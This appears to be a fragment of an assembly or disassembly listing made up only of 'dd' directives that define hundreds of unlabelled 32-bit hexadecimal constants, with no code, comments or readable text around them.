dd 7A5EA1F4h, 1D78BD42h, 4024E52Fh, 700ECC84h, 2B03D14Eh
dd 258F855Ch, 1E51D805h, 77B60F2Ch, 5FE253h, 79A6B989h
dd 440E7CE6h, 0E7B08060h, 0E0200A75h, 7A84E39h, 3EF5BE30h
dd 4CBA003Ch, 38000476h, 0A2FA9B60h, 16A7C4CEh, 0A51DDFh
dd 8D4BEAA2h, 27006FF1h, 76C8D178h, 826C39h, 59CF85DBh
dd 0B18FFE6Bh, 433DAB00h, 2A2C2599h, 60D0C030h, 226CC569h
dd 39C7A07Bh, 0C7E73696h, 59B09910h, 9B130004h, 9CEBAB6Fh
dd 0E15C8BB2h, 54660053h, 0EAEF9497h, 62800D7h, 9BFD5219h
dd 0DF0001FCh, 29142D62h, 0EE8F18AFh, 49E10066h, 64D5427Bh
dd 5A00C61Eh, 0DCA1AFDh, 304F598Eh, 9B6899FFh, 0A93A93D4h
dd 499080C1h, 4AA4DB66h, 5AD500EBh, 0D8A5FD88h, 6D1E6350h
dd 298101B7h, 384DF4A6h, 95F2E8h, 0E0848F2Ch, 0D258D04h
dd 247B400h, 53222970h
dd 60DD07D9h, 70695215h, 0E196984Fh, 0A64C3300h, 0E6017003h
dd 183FF454h, 183E523Ah, 21009726h, 40DC7953h, 0D788D0h
dd 81B0B6E1h, 3008EA8Ch, 0F1867100h, 5550A815h, 19FF023Eh
dd 0FEC57D75h, 0B4C9F280h, 0F600EDE1h, 3C3DAE15h, 5CBB53Eh
dd 32D04F0Bh, 0C6C00466h, 5449807Ah, 1E0EB383h, 0E06A29B6h
dd 7958B959h, 0E5FE2885h, 8A4700C0h, 24D378F5h, 0C0018DAh
dd 0C075EEB7h, 6788F70Ah, 0C0035032h, 16D27BA8h, 4E1CDA0Ah
dd 831CECF6h, 70220122h, 0D8533FB4h, 0FC0C2038h, 4B48AA03h
dd 0CD679FEFh, 0ECDDF840h, 0E66F54CCh, 4DF45878h, 0BBD4860Fh
dd 0FA6E877h, 40EAFCB1h, 63AAF2F9h, 0D89E0010h, 499A1377h
dd 0FEF67AC2h, 0F2C9A400h, 8B53B9F7h, 63F401A8h, 4D6CC48Fh
dd 0B582F8A9h, 0FE845900h, 0A1E1588Eh, 7A960C0Bh, 0A4884E50h
dd 0D2C4A300h, 68CA76C9h, 9BBC0770h, 106F79F0h, 4336113Ch
dd 99F7AB05h, 0C00F7CD9h, 6D6BC78Bh, 1B0E4E7h, 63E3Fh
dd 22C51B0h, 0B1D1CACBh, 14823Ch, 7F11C6B4h, 2A07FAC1h
dd 80F995h, 40AB0B02h, 14DC8C7h, 0A09C4F28h, 0EF1F707h
dd 0AFB33F51h, 0FC6E0DFDh, 0EC397305h, 9400A0B0h, 4A54D0C2h
dd 31798CEh, 0EC5B6226h, 7CE8DBC1h, 84771A65h, 0CDC09101h
dd 9980BBDCh, 22964ECh, 0EF8DD530h, 0AD4062A3h, 6D58F356h
dd 786600DBh, 9DE92F84h, 0CD1400AEh, 0ED1CF582h, 6F00579Ah
dd 8D6E3EC0h, 7C3973A4h, 864600EEh, 304713D2h, 9F71A560h
dd 57281600h, 0F7592722h, 0EF8017Ch, 85049CFAh, 84DCDC10h
dd 7E557B00h, 1AD652CFh, 814E0098h, 9C41BBAh, 0F50F71D3h
dd 27EBD951h, 8C8A8D15h, 59707300h, 26B354E4h, 18C6CCh
dd 7AA92C81h, 0D100A898h, 1EB96461h, 7E3845h, 710852B4h
dd 0E5922326h, 130AD902h, 40830F97h, 7B3608Ch, 792FAC5Ch
dd 5E3F10D6h, 41004BB9h, 0E6B8C78Ch, 3AEADE9Dh, 0D9E0FADDh
dd 0C9C5B529h, 0AED6970Fh, 0B7B900D1h, 916895h, 1A35DC31h
dd 0CB3F1F13h, 94AFD512h, 0F9C01C1Dh, 0E63D1D04h, 42DF0022h
dd 1774491Ch, 500329Eh, 0A64D5D8Bh, 1EED5465h, 12AD9CAAh
dd 5721006Bh, 0E7F781C1h, 6C48h, 186FC32Fh, 30628067h
dd 0B1284C04h, 9C0809FBh, 76EFE78h, 0A2CE39F2h, 2C409A0Fh
dd 0F41E2B12h, 80A4C370h, 0E9002A91h, 8328B241h, 0F0ECE3Fh
dd 4055649Fh, 6AA3C589h, 0EB80086h, 2D9AC93h, 0E500D466h
dd 77967536h, 15DB20h, 0BB875CCFh, 0BF45BCEEh, 61676200h
dd 0FC6DD93Fh, 0C72A058Ch, 27C0901Bh, 7659E09Ch, 390EF8A0h
dd 40837313h, 1D8A3D0h, 92100040h, 7F8A1F07h, 207E6AAh
dd 0B73EC946h, 0A4B0E8B0h, 726A0EECh, 0D9C01711h, 70C25C01h
dd 0A1001A7Bh, 45A2048Dh, 0B98AA0h, 0E2ECF5F7h, 76CA953Bh
dd 781CBD90h, 4681DD75h, 742FC5CEh, 1E4330ECh, 420B397Ah
dd 78F46885h, 5D400CE0h, 0A3117600h, 9105D3AFh, 0BDE13EBCh
dd 71331900h, 0D6CB9FECh, 5FA67C00h, 3C917B9Eh, 54506BBh
dd 6E1E8F39h, 0AF904600h, 55E28C93h, 832707ABh, 91B605ACh
dd 0D8F9F77Fh, 600022CEh, 49501120h, 6D9DD2h, 0C494CD15h
dd 51B9E3F9h, 0A72E200h, 97C53D60h, 0A1890036h, 7BBA83C7h
dd 0E80E5AF2h, 0E066307Dh, 8A579D8Fh, 0A7B2004Bh, 236A0A42h
dd 0F500EB3Fh, 4E093620h, 7AA0FBh, 7EEFE5F1h, 8C3E690Fh
dd 5D2F9C12h, 806F5C09h, 5241012Ch, 0FB920F4Ah, 0EF80B8E9h
dd 0AF4C773h, 67334C00h, 1FA4E118h, 0C877004Ah, 7970B78Fh
dd 5E005F21h, 2375D32Bh, 0F84752h, 7EE3B9C5h, 0AF936955h
dd 11D45307h, 96F428C6h, 3E1C80D0h, 1681C095h, 121B74BAh
dd 47759A03h, 0E398A661h, 0A0100210h, 34195AD1h, 6A188Ah
dd 0A35DF296h, 0AD74EADCh, 8CF9CB0Fh, 5869E04Bh, 981CC1D0h
dd 0F0740B89h, 14A183D5h, 3567E2C7h, 0E09BF5F4h, 0A87E4393h
dd 5ADF4D00h, 81E86584h, 3B7CCFh, 3317DCB7h, 13667C95h
dd 56E64C0Ch, 0C84173h, 3A21E0BFh, 51A3BD69h, 0FC4EBA00h
dd 5EF036A7h, 0E5063AF4h, 4052F587h, 3800FF97h, 24FDD80Bh
dd 44C50F03h, 0D04E26C4h, 40E123h, 0BAFE4ADEh, 8ACB0335h
dd 0D51C6700h, 0E9B70872h, 2C44007Bh, 520FF4E5h, 2714B34Bh
dd 0EAEF05Ch, 80FC6F36h, 0CB96F6DBh, 703A011Dh, 7FF187BBh
dd 0F30899D3h, 0BD600321h, 0FC891F0Eh, 93B94368h, 0F8AF5BEh
dd 11F62FC0h, 60F7C507h, 107C5C3Bh, 0B63800FBh, 97045234h
dd 333ACA1Eh, 21FE309Ah, 0B52129h, 0C4BF7FF7h, 0C17307F8h
dd 6F62FD0Ch, 43179F2h, 0B5A75CBCh, 422380D7h, 40664C8h
dd 0D60293BAh, 51DB6080h, 0D8337DE4h, 81F05D03h, 6CF8AA3h
dd 777B5220h, 83F8F80Ah, 18D32E30h, 2A236364h, 0E88840E4h
dd 764B3062h, 44576D28h, 0E2BF8303h, 804A732Fh, 310AB91h
dd 5207CC3Eh, 22A83CCEh, 0D53A4234h, 8C9F80D2h, 882BCF08h
dd 87C8002Eh, 18F24126h, 35F2F98Fh, 4C91D503h, 0F708D980h
dd 849B90F8h, 3D44F884h, 2217444Dh, 4228CF44h, 42D7C2Ah
dd 0AC532069h, 17C38187h, 5F6CDE00h, 0EB560054h, 5194C721h
dd 7F0091B2h, 30E10265h, 0EED11F35h, 285C02A3h, 0E42D564Fh
dd 39049E0h, 0C7A05207h, 0BC102278h, 86CF1Ch, 9873082Ah
dd 0CA7E913Dh, 26530E07h, 52C1FB5Eh, 21CC77AAh, 193A0E5Dh
dd 68A05A66h, 20CF736Fh, 14803B00h, 572D6453h, 0E20C009Bh
dd 0AB9CE61Ch, 0DF000DE7h, 63062150h, 4490B5h, 78041E33h
dd 0D54F10E2h, 0D2EFB900h, 0BACE5CBh, 17F800D6h, 8F3D7DA6h
dd 0EE03C814h, 4055931Ah, 4A59A07Fh, 6F2B00D2h, 8B1CE498h
dd 5D00FF77h, 0C518F7C8h, 19A6615h, 0F8D14A9Ch, 0D4D00823h
dd 42011E73h, 2CAA43DEh, 0EC401014h, 5E0C1h, 0FDE7F344h
dd 7A79F5DAh, 0A3025213h, 90AF3101h, 0AB30B51Ah, 0D587007Eh
dd 77443789h, 0C63D4F42h, 5BF30103h, 0CC92085h, 73F512E0h
dd 38F44Ch, 9F172932h, 7343260Eh, 0B409280Ah, 39C4B7h
dd 56C29783h, 0D4EB66h, 0C8B9E05h, 0C34115A3h, 2300E477h
dd 90DBB51Dh, 178D554Dh, 0E05F6DAh, 3CE0EC8Fh, 0B5DD254Eh
dd 0EF94CF00h, 273A0A93h, 357B00FFh, 0B084DFAEh, 25000620h
dd 1EBBB72Ch, 0BF28B5E3h, 26005BF0h, 58A95E15h, 7833C4DFh
dd 66460736h, 10919A14h, 17D3B6CDh, 41DB0D00h, 0ACBE0673h
dd 0EB761FC1h, 0C46140A8h, 2DBFB1F1h, 0F7E83260h, 92BDE6h
dd 0E7229D63h, 315147F0h, 1984350h, 0F82AD400h, 0AE86A3D3h
dd 76FE0097h, 1913E633h, 82007DF7h, 314291C0h, 2C37A134h
dd 0AECB6Eh, 1F4BFD5Dh, 0BC00E995h, 0F8C72C57h, 50AF87h
dd 0C15C287Bh, 0A9DB1743h, 0DAB25D00h, 7129E7F1h, 3DEA0A6Bh
dd 80D4C499h, 0FFE261F8h, 87C2D83h, 50DACF00h, 0D30C356Ch
dd 128B794Ah, 0EDE1F9h, 0CCCE4B1Ch, 34B05B93h, 0CB4A8700h
dd 2F19EF4Dh, 9F7660h, 75B3D0B6h, 452A580Dh, 93950C00h
dd 0CF846B52h, 9804906Eh, 9020501Dh, 7C4303AAh, 0C4D92F0Bh
dd 64F95880h, 5255870Fh, 0EB684156h, 0A560F0A6h, 0AEF324D2h
dd 0A7A9809Ch, 0D74031E4h, 3D10BD48h, 91250C0Bh, 7672054h
dd 66D8230Fh, 6E53409Eh, 943CAE93h, 0EA270064h, 76A94BCBh
dd 9865007Eh, 1E36326Ch, 4AFEEBD3h, 0C9487A7Bh, 0F0E4009Ch
dd 31FBC61Ah, 45DB003Ch, 49276033h, 15122C8Eh, 0B103E676h
dd 0B028CE89h, 1048EDh
dd 3162A788h, 79CF131Fh, 5129F012h, 833B9D1Dh, 0BEDA1E44h
dd 9C638038h, 2C799020h, 1D2D6246h, 4D3640FBh, 0D23DDC3Fh
dd 62A5700h, 83FA9BD3h, 0A7A800AFh, 0AB88626Ah, 7598C98Ch
dd 8EE54200h, 4B1471B4h, 1FE49028h, 94017E46h, 370794ABh
dd 21E2B01Fh, 0C093ECC0h, 0C1003239h, 95F53C94h, 0EDC380h
dd 71F7AF1Ch, 35858697h, 0DE733D00h, 8B62FBC4h, 0A2E64Ch
dd 615698D5h, 96C35452h, 8145D600h, 1FD8DFDBh, 8C123F59h
dd 9A948580h, 0C9897C9h, 5300FA7Dh, 0D78B2F6Ah, 0F08C44h
dd 5403E574h, 8AEF6D6Fh, 239BDB26h, 0EA388C20h, 68938790h
dd 3E3332h, 9161D862h, 49A8002Bh, 0F4D9A2ABh, 8E0046ADh
dd 51DAED21h, 2A7DBFAh, 84763624h, 34087BAh, 4C1642D9h
dd 14AA6129h, 0AB123CF3h, 0F58C21DAh, 9580042Dh, 480FD5AFh
dd 0CC008CE8h, 2E8CF24Eh, 29007D5Ah, 0ED6FB43h, 41DF5h
dd 5E756B4Bh, 0D9C574ADh, 0E36C8700h, 6D5585BBh, 0F73D26CEh
dd 8B003FFBh, 6DE27EEh, 0D5078A81h, 345482E6h, 35FF9590h
dd 6B1001F3h, 4391E9C5h, 44FEC89Dh, 0FD0045FCh, 5CA7CAC0h
dd 1D2010B4h, 4FA5BD5Dh, 0CBAF6E67h, 25017A80h, 9D03DE7Eh
dd 0A4C45EA9h, 6A54C05Dh, 1A6F668h, 7A822CC7h, 0E86430D9h
dd 0C803D06Eh, 4A5C22F3h, 57FD9907h, 3883D9C4h, 3B804DC6h
dd 5DCBC748h, 0E400D77Ah, 0CFC03CCh, 7642F4E3h, 849E00F6h
dd 0D92874B3h, 0EF00BA9Ch, 5F270146h, 5BDE45C2h, 4BE983D2h
dd 373D52E0h, 1A792200h, 0C01E9D21h, 0A10C7A49h, 0E4E05AA0h
dd 79E7C2Eh, 8835803Ch, 314D2006h, 0DD009B66h, 7296B79Ah
dd 0FE844928h, 1A370082h, 3FA61578h, 0F803521Dh, 0A5952BBBh
dd 0DE113C3Ch, 9C30BE00h, 0C3F9D7A0h, 8D905500h, 3D6C21B3h
dd 93640029h, 8ACB7567h, 6003A79h, 5F31CDF3h, 1FA76068h
dd 0C0D4EA40h, 44620B78h, 0F0E14706h, 1705B64Fh, 0ABE51A71h
dd 37BEB418h, 0D7570027h, 4F6663C7h, 6001687h, 93FD24DAh
dd 2FBEA0h, 0F5642E8Fh, 19937A7h, 6C9E7600h, 3C88D89Dh
dd 0B6390102h, 0FB24E4CEh, 9FF6F8E1h, 1806AC00h, 49166F82h
dd 1475004Dh, 1B0830FFh, 7C01FD90h, 0B019217Dh, 1D4559Ch
dd 0AC365081h, 0F7940233h, 0A21EA8A5h, 0D07D9180h, 1100055Eh
dd 6075DA84h, 0ECF5E5B7h, 0AC573E77h, 48264100h, 0C67DBD9Dh
dd 4B133100h, 3B24427Bh, 6CB001F0h, 8BFE5479h, 8C7DE836h
dd 36D8800h, 0AD632E1h, 0C7FF0046h, 1ED1BE3Dh, 0F90A850Bh
dd 0A80C7D07h, 44600200h, 7420AFh, 0B69B252Ah, 53CD69F2h
dd 0C12F4100h, 6EAF58A3h, 0F4022863h, 429900E4h, 15445EABh
dd 8042C6Ah, 14B46ECDh, 1CB7887h, 37EE666h, 1CD69A30h
dd 40BED706h, 0FF5422CAh, 0C00A2B8h, 51573A41h, 0FD151Eh
dd 0E3BB389Fh, 0D31D19F9h, 0CEB8A600h, 0A40CCC31h, 0F64DE816h
dd 2DAD0075h, 3C578192h, 0AA50842Fh, 0EA00CBACh, 9142F87Ah
dd 0F8DED86Ah, 1F3200F0h, 0CB6D29BFh, 0D1006B4Ch, 6FFDB9FBh
dd 185676h, 20BA5BA9h, 3E235D55h, 0A080F40Fh, 3C77E0F8h
dd 61E4F7h, 2D26FB5Ch, 10FC1289h, 549E4700h, 367D7203h
dd 613A0005h, 0A2156A3Fh, 5C78B956h, 0F95190C0h, 0E2C52E40h
dd 57A300F1h, 0E68DE3DAh, 3D0093A9h, 6EFF35F6h, 0B8CDB9A4h
dd 0A6948BFh, 25459800h, 839B08D8h, 62777D00h, 0F63B9353h
dd 9E2748EDh, 1BA4863Bh, 7DBC42D0h, 0D929C00Fh, 184648h
dd 0F2C4C60Dh, 83CC0A7Bh, 7509E924h, 8659C000h, 18DE1E7h
dd 4D635475h, 6BC576C2h, 7CB32A0h, 0F2580250h, 2A1C50E9h
dd 0D93DABCCh, 10E8F6Ch, 66A340C8h, 0B274BFh, 0B84EED87h
dd 2ABA1025h, 5BF77300h, 0FCF981F6h, 0AC860011h, 4B42A51Ch
dd 0C6003EE6h, 0F3D88E65h, 973B62h, 1A9F99EEh, 4609E8BAh
dd 8CF81B03h, 0B0E0BB89h, 3A19338Ah, 1D48999Ah, 3954FE07h
dd 64251185h, 570F8EAh, 17B558h, 99F5E861h, 3B78E76h, 9B6C9C5Bh
dd 3593BAA8h, 15FC53C0h, 3A047748h, 0D27F173Ch, 13AFC307h
dd 0B2D429B0h, 0F1570F99h, 33E98973h, 314B6E00h, 0D9007C7Ah
dd 0E8B36F74h, 82E0E5h, 212FD076h, 78582E42h, 11642700h
dd 0F036DAC7h, 5CF100D3h, 89F6A818h, 0DC00E7E6h, 68A2C1BFh
dd 1B7F75Bh, 2C3C5344h, 80087846h, 5DA3E258h, 4AE81h, 0BD2D9725h
dd 0FDB23D5Ah, 36623300h, 19F24D4Eh, 748503FBh, 181CB796h
dd 40FD92B1h, 6732DFBAh, 0B5AD3100h, 59C777F0h, 24BF723Fh
dd 0CC564Ah, 3BE9876Ch, 0B9733C41h, 0D9612300h, 4CA6A1AFh
dd 0D168022Ah, 44F539C3h, 5BBC1540h, 9123800h, 8A95DD56h
dd 0E1520083h, 0FC0F6154h, 1B010C2Ch, 0C03CE0F2h, 80C82F9Ch
dd 0C895004Bh, 0C77CF0F4h, 0B300478Ah, 7AE3C53Ah, 3F5CE485h
dd 9A3750D8h, 5B238094h, 0A703F83Ah, 6FAAFA9h, 6DBAD096h
dd 8435002Ch, 479DD291h, 0F0057B17h, 398309C3h, 3B540880h
dd 0C370E26h, 0A0005834h, 2A62DE8Ch, 8387F600h, 0F15903BCh
dd 0B8190054h, 0DA1D1E65h, 0A300B3DEh, 73947C3Dh, 1642C6h
dd 25EBB839h, 98711381h, 0DE23D800h, 0F86C85B4h, 1090377h
dd 8E03FCACh, 655E7C8h, 3C00CF77h, 0A152E4B5h, 7CBD3843h
dd 3BC200FDh, 5C89DEC7h, 1D0EDBF9h, 60204DC0h, 0A995A048h
dd 0FBEF0137h, 0FFA23114h, 73C460FEh, 4166F8E7h, 0D03E2E00h
dd 220B770Ch, 1381EF3h, 0C9FE80A3h, 5A39093Bh, 76176300h
dd 13558FE6h, 738A00E9h, 2446BD66h, 82002079h, 4FE0D4BBh
dd 2E1F1Ah, 0BECF6D18h, 0EA8D7B06h, 74E5958h, 1C2F0BDFh
dd 0B7496181h, 58F0DCh, 98E8379Fh, 97D32678h, 0E7B2310Bh
dd 0AEB90123h, 3AF98B7Fh, 20581181h, 20A44819h, 91007BA6h
dd 7671E0BFh, 1DC5DCh, 65D62D5Ch, 9870EBF6h, 2A74B931h
dd 0F7D04672h, 0ADED00C5h, 8FCD04FDh, 523F4FDAh, 0C49D2A13h
dd 120CF842h, 429889B2h, 0D286B000h, 614AA722h, 0A0F80BA9h
dd 30008AC0h, 0EEE9507Fh, 0CB00C2E8h, 0FCCC1090h, 4A31BBh
dd 0C92E0D81h, 0E648CE44h, 9F005670h, 0F5D89249h, 9D50E2h
dd 6CCF537Eh, 31483AB2h, 95AA0807h, 22D013B9h, 7124EACh
dd 24739D6Fh, 0B3AD70C1h, 3D00BEF1h, 0E687E43h, 36952C2h
dd 0BD624712h, 4EE1B5A2h, 0A0923028h, 0DD152D00h, 6D68F35Eh
dd 0C1FF012Fh, 896BB24Bh, 6ECED0D9h, 4F57BD00h, 5D22C80Ch
dd 1E407BA3h, 0C0CDCA2Ch, 9D6A231Eh, 0DD00092Dh, 0C2C0B222h
dd 486FE794h, 0E800B888h, 705B5F55h, 0B0A0B8EEh, 95730750h
dd 8CC23800h, 0E6D810A2h, 909174DFh, 0B4DA0158h, 11F06D2Ah
dd 8487205Dh, 0E1F9F400h, 4E2F19A2h, 2AA573D4h, 0CC8337h
dd 359BFCEFh, 5732363h, 0CB162F00h, 6021124Bh, 197AECh
dd 8B8F9B13h, 4D66FF85h, 7E173700h, 2A4786B1h, 0EF9702C9h
dd 51DD4AEDh, 52E7EC80h, 892679A2h, 9F07EA91h, 24B0C147h
dd 90BB41C4h, 0E2700288h, 65721BC7h, 27582C40h, 0FC6E7140h
dd 9F4300CCh, 0C46A0DBFh, 471D2B3Ah, 0AA80F5EBh, 0AD0940D6h
dd 2341D6Fh, 3B127DE5h, 75EC00F7h, 9BE1644Dh, 651FF676h
dd 6602DE2Ah, 81EF8D03h, 0B8F2DBF3h, 27BF0E8h, 9745583Ch
dd 0B88078F7h, 0BD3F7535h, 0D9160C03h, 0F080B1D0h, 0E789D5Eh
dd 1590DB84h, 92311120h, 3B48E49Bh, 0B00072B8h, 0C3712334h
dd 6798EB93h, 7C356055h, 0C5260408h, 0A700602Dh, 0D4E9C279h
dd 0ED66008Fh, 0D8B38D9Bh, 37002074h, 0E2D2BC02h, 53417Ah
dd 0A333C84Fh, 0B33F7FDFh, 0BCFCE524h, 6FCF7E03h, 0DA6680BFh
dd 74960055h, 8E41C63h, 0F0004C51h, 6E7BAE8Bh, 7FBF819Bh
dd 6F1500ACh, 0D921DFA1h, 48FA6556h, 7834C600h, 8C4C231Ah
dd 82881E94h, 0A7BC0044h, 1F43B4EBh, 298AD001h, 8636EE9h
dd 8931B040h, 0AEE13C0Fh, 0A524C080h, 50E6FF81h, 2B2EA00Ch
dd 50F629BAh, 48F798A1h, 0A500949Eh, 0AEA2FCB5h, 6D008A56h
dd 0D85A7767h, 50CE064Eh, 97A639h, 8CEEEFF3h, 0BC6D0760h
dd 241CDB39h, 0EB01182Ch, 40E3AA97h, 0EAEAE02Fh, 0BF455C00h
dd 3A2701CAh, 0C9CD04FFh, 0D0B73B65h, 0D5714D50h, 93AF1E04h
dd 70905D9Fh, 59B6B131h, 0C91C04A7h, 0C70B4050h, 146E35B5h
dd 0DD832E05h, 29C0608Ah, 0C116A82h, 440967Bh, 6B3EE240h
dd 77620146h, 1AD7437h, 223F1884h, 0C246C033h, 0C300CA5Ah
dd 0C85E982Dh, 7F56E2Ah, 0DF20E803h, 4C4BD050h, 2576E307h
dd 10FAFEAh, 29D097C1h, 64A00053h, 0A0EF47FFh, 9B88A1h
dd 0D8B0E244h, 15B3A3Fh, 0F39EE11Fh, 75B1F680h, 7A354E60h
dd 0EAA500C8h, 61EEC7B5h, 69005D58h, 0D406370Dh, 3E2313FAh
dd 3E9D92E5h, 0B4488090h, 245D943Ah, 13980650h, 34360200h
dd 0A9237982h, 55090057h, 0C927E19Bh, 0B700B14Ah, 3D42F7F2h
dd 98664DEh, 1669B6BDh, 0AB8C90A0h, 0B1004894h, 0E7E31119h
dd 982D98E4h, 5021E48Ch, 24DDC84Fh, 9C43A5h, 0F8F75FA9h
dd 5100F662h, 766778Ah, 0F29F65C7h, 4E9C00BCh, 0F4A6970Ah
dd 8000E99Eh, 63B5E4BBh, 4CD383EEh, 1F001FE6h, 93A86C24h
dd 41606B03h, 0F94B85Eh, 96AD00FBh, 570858AEh, 1900E799h
dd 73AA4BC2h, 0EB7D1A7h, 546455BFh, 96636AC0h, 17009D4Dh
dd 2058921h, 3CE193EBh, 0C100B73Ah, 0D50DA616h, 62072214h
dd 0ADEA711Dh, 8AD48420h, 9AB200ABh, 0EE6D016Eh, 0BC0430C5h
dd 0BA0748B3h, 4041B4D2h, 36ED80h, 9A08B9F5h, 1C95D0DBh
dd 8E572400h, 217AD97Eh, 994E004Dh, 37E09F84h, 90046AB2h
dd 0BBB62C6h, 3A65BC80h, 2D403B5Dh, 7BA3F900h, 4BD693D4h
dd 0ADB0FB00h, 1B3D84AFh, 8424E3FFh, 9455287Ch, 157101F0h
dd 0FA45FCDh, 4EC8D0A5h, 0CC18966Fh, 452610EDh, 0A12880AFh
dd 8357EF3Fh, 0C43B07E7h, 57887294h, 631EE00Eh, 0E200201Fh
dd 0B179EB5h, 1426749h, 0BE21FCC6h, 0F199C543h, 844440E5h
dd 3878747Fh, 0BA487C50h, 5D273D18h, 0AD1F381h, 746F86C0h
dd 0A1D5164h, 0B382D30h, 7C28F210h, 190E101Ah, 20DBFF12h
dd 2349379Ch, 441400B7h, 0C5CB2DEAh, 0F901C37Ah, 0B316575Fh
dd 0DA41C26Dh, 0EACCEC2Ch, 28EE0023h, 1E2D0EBh, 0E100B2E9h
dd 854D07C9h, 3BAF442Ah, 7680D992h, 0C3F14240h, 3E0701B0h
dd 0A2B6D165h, 3C00E637h, 73FC706Bh, 0C41D0092h, 9C615BF0h
dd 0D70016A6h, 0DDD13F06h, 683D7Bh, 0D2F0AE44h, 385A0FD9h
dd 4F66C14Ch, 8F01B0h, 0A2DEE8F9h, 36311B99h, 3EE36101h
dd 5032963Bh, 39F4E9D1h, 0BBC8008Dh, 0EED9575Eh, 0EF0F8F7Ah
dd 83F977A7h, 0E8EDD05Bh, 5561B94h, 0ECE0ACC0h, 0D7AC005Dh
dd 5C4DA025h, 0D04A0C03h, 0D7C31E2Fh, 361392D0h, 0E0100089h
dd 0B184118Ch, 0D200803Eh, 500C0EFEh, 0E3A64EAh, 0AF305C71h
dd 7C203B00h, 898A66Bh, 9E4854F2h, 85B000E8h, 0C11B24BFh
dd 0F7B8021Dh, 5DB76330h, 0A9004AF4h, 91B16750h, 177568h
dd 0CD6DE16Bh, 0ABF87705h, 25C23600h, 8A917D3Fh, 0E61003CCh
dd 987CDAB9h, 0D26EF380h, 5F38CB78h, 0A2BDA6BEh, 0FE5C3B00h
dd 3E46805h, 76E28477h, 0D8D80DD2h, 70006487h, 5495B8CBh
dd 2002CDh, 0FCD2E32Bh, 0DD0FBC0Dh, 9D55E900h, 0CED17E63h
dd 1B3F26FAh, 5A11005Ch, 1AA1F1D9h, 5BAD10C0h, 302940h
dd 107C9514h, 0F9244F82h, 59CE58h, 73CF88ADh, 90990E70h
dd 8E930750h, 1596DD7Ah, 404C903Eh, 0F0ED9E6Ah, 5F2CD52Dh
dd 0B980F8C0h, 8DD396E6h, 824AAAh, 81A4F10Ch, 0D2E8AC61h
dd 0B53C41C0h, 940EAA2h, 1266CC28h, 0F56A54A0h, 0BE2689AEh
dd 0E0013CF1h, 2B92871Eh, 2CC6465h, 0BBD100C9h, 717B2D6Ah
dd 7D004E23h, 5C9D651Dh, 3DEC3CA5h, 29069A84h, 282BC8FDh
dd 0D1C77500h, 0AE9C6568h, 0D2E900D5h, 0E83E24CAh, 0A15CAC94h
dd 670F74FCh, 80515348h, 0FE1B96C2h, 9EC8E138h, 59120242h
dd 0D0D6135Ch, 0A2E460FFh, 7E180271h, 0CA31E229h, 6BDDB080h
dd 0E80098F0h, 5C26287Ah, 78194FFCh, 2D443920h, 0C5BC54h
dd 0D7ADA2D3h, 325E39CBh, 19DB7609h, 0EA188596h, 0ED90C0C0h
dd 3C201DD3h, 60D88E7Bh, 9DD04CB3h, 0F49802F0h, 6DFF6B01h
dd 5E5F100Ah, 921470h, 9B9BFAAh, 171C273Bh, 1035F51Ch
dd 759BBA44h, 5F113380h, 43E201DAh, 0BEAEDE03h, 0D97E7092h
dd 3E703302h, 0E0D6500Dh, 0E2885F1h, 88A15655h, 0E458EBC1h
dd 0A8909EECh, 22200062h, 0EB890363h, 0FA01BDB5h, 0D70572D1h
dd 0A3F835E6h, 96040048h, 0B5BC815Ah, 5100855Eh, 798F947Dh
dd 0F303F1h, 6A74DF08h, 70AF888Ch, 0F211C400h, 0E16D9002h
dd 460F0E5Dh, 53EDADh, 602684A4h, 0F701A7BBh, 680B47B0h
dd 5560450Ah, 0DA7F0087h, 462B328Dh, 44008CA3h, 0F68383Ah
dd 5084D5C0h, 0B8D0943Bh, 135B30ECh, 44781511h, 0DD23D301h
dd 0BBE5D8A7h, 24E192h, 248D11Dh, 540090A6h, 220ED566h
dd 0CF444Dh, 2F503704h, 9FDFC8E3h, 421CDD75h, 0EF016DE0h
dd 0F86CA054h, 0EEC78C8h, 1B7ABADh, 20A2971Eh, 2DD411B4h
dd 0BA9D6300h, 234DC0Fh, 8CC507D6h, 40F5F8ADh, 1DE2ED57h
dd 716C4100h, 366A93B9h, 5C870086h, 9663739h, 0C6004F8Bh
dd 773DCC4Ah, 0B7460Bh, 0A950ACD0h, 3EA34521h, 854AC100h
dd 0DDF8952Bh, 10721D06h, 84C2016Bh, 0F8417558h, 7B010F74h
dd 33EEB1FFh, 4CF815FCh, 0EAEC0030h, 0C5245804h, 4400F57Dh
dd 6DAFBF8Bh, 989B678Ah, 87F10018h, 99B69A3Ch, 0CE01FBD8h
dd 3336AA03h, 68810122h, 1F37E50Eh, 788CD850h, 93122602h
dd 44385157h, 0F637F45Ch, 0FA9800F1h, 94BE1F95h, 2A00FC11h
dd 823039EAh, 0C5BA19h, 738F9E9Fh, 0B3DCAD75h, 89802F00h
dd 65D664E0h, 98A87EDEh, 71EC014Ch, 0E1D439CCh, 76A8287Fh
dd 18006B4Eh, 11B0948Eh, 48EC3EDFh, 40AED589h, 0DE44E800h
dd 0A324B833h, 300057B6h, 750B2A67h, 499F60C1h, 6B6F5114h
dd 53971A02h, 68A3F5DAh, 394A3674h, 8380A1EAh, 3AED3272h
dd 490096D7h, 0D3E7B368h, 7AF2FC3h, 9C0F478Eh, 35CA60F4h
dd 678614Ch, 8876024h, 0C9906D0Ch, 17400062h, 6542156Ah
dd 3916720Ah, 4006E8Bh, 0CCF809EDh, 68F00E6h, 0C118ACA5h
dd 2F004189h, 0BECA0252h, 169134E9h, 0E52C88h, 0FE4E3143h
dd 0DB7B2618h, 4709C05h, 0D400FA74h, 0D1990760h, 0D7D200D3h
dd 0B09D725Eh, 737F0D5Dh, 0B7C7E500h, 60F802Bh, 3C460027h
dd 35FBD6BFh, 4B0098EEh, 79261492h, 30992994h, 0F3124CDCh
dd 0D00AEE7h, 8F0A2521h, 602C4195h, 4672D8E1h, 0A400A606h
dd 0B9CB592Ah, 76915h, 42985068h, 0AADEF6C4h, 4509D8B0h
dd 48C774B1h, 3990488h, 9421E19Eh, 0C4C03188h, 2E0041F7h
dd 4E0A10FDh, 5B5E6EFh, 0E9A31DB2h, 515C01Eh, 6C1F3A95h
dd 51C0B744h, 0EC5FC4BCh, 9748008Fh, 5B401BD9h, 6E00C874h
dd 0FF452A2Fh, 0C78395h
dd 5881BC79h, 0ECF8A4A0h, 0D43980B2h, 641D128Ch, 0FC7A9407h
dd 48626992h, 13A908ECh, 1ED596h, 34CA44F0h, 7405722Ch
dd 6766BAC6h, 1120C1EBh, 91CCE883h, 0A3F9080Ch, 7D6582Ah
